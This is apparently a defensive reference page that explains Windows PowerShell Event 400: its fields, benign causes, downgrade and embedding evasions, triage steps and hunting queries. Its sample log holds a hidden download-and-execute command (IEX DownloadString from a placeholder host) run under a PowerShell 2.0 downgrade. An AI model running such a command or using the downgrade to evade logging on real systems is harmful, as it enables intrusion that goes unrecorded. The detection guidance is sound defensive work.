Log Dejargonizer

Windows PowerShell · Event 400

PowerShell Event 400: A PowerShell session started

PowerShell started up. This event has been written since PowerShell 2.0, needs no configuration at all, and lands in the old 'Windows PowerShell' log rather than the modern operational one — which makes it the only PowerShell evidence you can count on finding on a machine nobody prepared.

Also written as PowerShell 400powershell engine startup eventEvent ID 400 powershell

What it means for you

On a personal computer

PowerShell opened. Windows itself uses it constantly for maintenance, so seeing these on a machine you never open PowerShell on is completely normal.

For an analyst

This is the free tier of PowerShell logging. On a host where script block and module logging were never turned on, Events 400, 403 and 600 in the classic log are what you have. Read EngineVersion first: a 2.0 value means someone got a PowerShell 2.0 engine, which has no script block logging by design, and on a modern Windows build that is a deliberate act rather than an accident.

What it looks like

Sanitised. Addresses come from the RFC 5737 documentation ranges.

Sample
Engine state is changed from None to Available.

Details:
  NewEngineState=Available
  PreviousEngineState=None

  SequenceNumber=13

  HostName=ConsoleHost
  HostVersion=2.0
  HostId=0a1b2c3d-0000-0000-0000-00000000abcd
  HostApplication=powershell.exe -version 2 -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('https://files.example.invalid/a.ps1')
  EngineVersion=2.0
  RunspaceId=0a1b2c3d-0000-0000-0000-0000000012ef
  PipelineId=
  CommandName=
  CommandType=
  ScriptName=
  CommandPath=
  CommandLine=

The fields that decide it

Everything else in the log line is context.

EngineVersion
The PowerShell engine that started. The single most useful field in the event.
  • 5.1.xThe normal Windows PowerShell engine on a current build.
  • 2.0A downgraded engine with no script block logging and no AMSI. On a modern machine this is a red flag, not a compatibility quirk.
  • 4.0 or 3.0An older engine, either a genuinely old machine or a deliberate step down from 5.1.
HostName
Which host is running the engine.
  • ConsoleHostThe ordinary powershell.exe console.
  • Windows PowerShell ISE HostThe scripting editor.
  • ServerRemoteHostArrived over PowerShell remoting.
  • Default HostAn application embedding PowerShell rather than launching it. Common in legitimate agents and in tooling that avoids powershell.exe.
HostApplication
The full command line of the process hosting the engine, encoded arguments included. On an unprepared machine this is often the only place the command line survives.
NewEngineState / PreviousEngineState
The transition. For Event 400 it is always None to Available; the value is in the pairing with Event 403.
RunspaceId
Ties this session's events together across 400, 403 and 600.

Ordinary reasons this happens

Most of the time it is one of these.

  • Windows running its own scheduled maintenance, which uses PowerShell routinely.
  • Software installers and updaters that call PowerShell during setup.
  • Management agents, inventory tools and antivirus products that shell out to PowerShell.
  • An administrator opening a console or running a script.
  • Group Policy startup and logon scripts written in PowerShell.

When it is not ordinary

Deliberate downgrade to PowerShell 2.0 to escape script block logging and AMSI inspection.

What gives it awayEngineVersion of 2.0 on a machine running Windows 10 or later. The 2.0 engine cannot log script blocks, which is precisely why it was chosen.

ATT&CK T1562.002

PowerShell embedded in another executable so that powershell.exe never appears in process telemetry.

What gives it awayHostName of 'Default Host' or an unfamiliar host name, with a HostApplication that is not powershell.exe.

ATT&CK T1059.001

Remote execution against the host.

What gives it awayHostName of ServerRemoteHost on a machine with no remote administration in its baseline.

ATT&CK T1021.006

What to do next

  1. Read EngineVersion. Anything below 5.0 on a modern Windows build is the finding, and it needs no other corroboration to be worth chasing.
  2. Read HostApplication for the command line. On a machine without process auditing this is frequently the only surviving copy.
  3. Check HostName. A host that is not ConsoleHost or the ISE means PowerShell was embedded or remote rather than typed.
  4. Find the matching Event 403 by RunspaceId to see how long the session lasted.
  5. Look for Event 600 with 'Provider WSMan Is Started' in the same window, which confirms remoting was involved.
  6. If script block logging is available on this host, pivot to Event 4104 for the actual code. If it is not, this event plus 600 is the whole picture — plan accordingly.
  7. Remove the PowerShell 2.0 optional feature across the estate so that a downgrade stops being an option at all.

Queries to run

powershell PowerShell 2.0 downgrades on the local machine. Very few environments have a legitimate answer for this.
Get-WinEvent -FilterHashtable @{LogName='Windows PowerShell'; Id=400} -MaxEvents 200 | Where-Object { $_.Message -match 'EngineVersion=2\.' } | Select-Object TimeCreated, MachineName, Message | Format-List
kql The same hunt across the estate. Expect zero results in a healthy environment.
Event | where EventLog == 'Windows PowerShell' and EventID == 400 | extend EngineVersion = extract(@'EngineVersion=([\d\.]+)', 1, RenderedDescription) | where EngineVersion startswith '2.' | project TimeGenerated, Computer, UserName, RenderedDescription
splunk Ranks hosts by PowerShell host type. Unfamiliar host names at the bottom are where to look.
index=wineventlog sourcetype="WinEventLog:Windows PowerShell" EventCode=400 | rex "HostName=(?<hostname>[^\r\n]+)" | stats count by hostname, host | sort count

Common questions

Do I need to enable anything to get PowerShell Event 400?

No, and that is what makes it valuable. Events 400, 403 and 600 are written to the classic 'Windows PowerShell' log by default on every Windows machine, whereas script block logging and module logging both have to be turned on in advance. On a machine nobody prepared, these three are the only PowerShell history you will find.

What does EngineVersion=2.0 mean in Event 400?

A PowerShell 2.0 engine was loaded instead of the current one. PowerShell 2.0 predates script block logging and AMSI, so nothing it runs gets recorded or scanned. On a modern Windows build there is rarely a legitimate reason for it, and it is a well-known evasion. Removing the PowerShell 2.0 optional Windows feature closes it off entirely.

Where is the Windows PowerShell log in Event Viewer?

Under Applications and Services Logs, then Windows PowerShell — as a top-level entry, not inside the Microsoft folder. The newer Microsoft-Windows-PowerShell/Operational log lives separately under Applications and Services Logs, Microsoft, Windows, PowerShell, Operational. They are different logs with different event IDs and people regularly look in the wrong one.

Is it normal to see hundreds of Event 400s a day?

Yes, on a managed machine. Windows maintenance tasks, software updaters, management agents and antivirus products all invoke PowerShell. The count is not the signal — the EngineVersion, the HostName and the HostApplication command line are.

Read next

Mentioned by

Vendor documentation

Last reviewed 6 September 2026